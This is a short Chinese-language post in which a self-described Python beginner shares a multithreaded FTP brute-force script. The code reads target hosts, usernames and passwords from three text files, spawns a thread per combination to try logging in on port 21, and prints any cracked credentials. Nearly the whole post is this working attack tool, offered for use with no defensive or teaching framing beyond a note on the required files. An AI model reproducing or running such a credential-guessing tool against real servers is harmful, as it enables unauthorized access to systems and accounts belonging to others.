初学python, 自己编写了个FTP多线爆破小脚本
代码很丑= =
#!usr/bin/env python
#!coding=utf-8
__author__='zhengjim'
from ftplib import FTP
import ftplib
from threading import Thread
def Login(host,username,password):
ftp=FTP()
try:
ftp.connect(host,21,1)
ftp.login(username,password)
ftp.retrlines('LIST')
ftp.quit()
print '破解成功,用户名:' + username +',密码:' + password + ',IP:'+ host
return True
except ftplib.all_errors:
pass
host=open('host.txt')
for line in host:
host=line.strip('\n')
print '破解主机:' + host
user=open('user.txt')
for line in user:
user=line.strip('\n')
pwd=open('pwd.txt','r')
for line in pwd:
pwd=line.strip('\n')
t=Thread(target=Login,args=(host,user,pwd))
t.start()
目录下需要host.txt,user.txt ,pwd.txt三个文件。
还需努力!!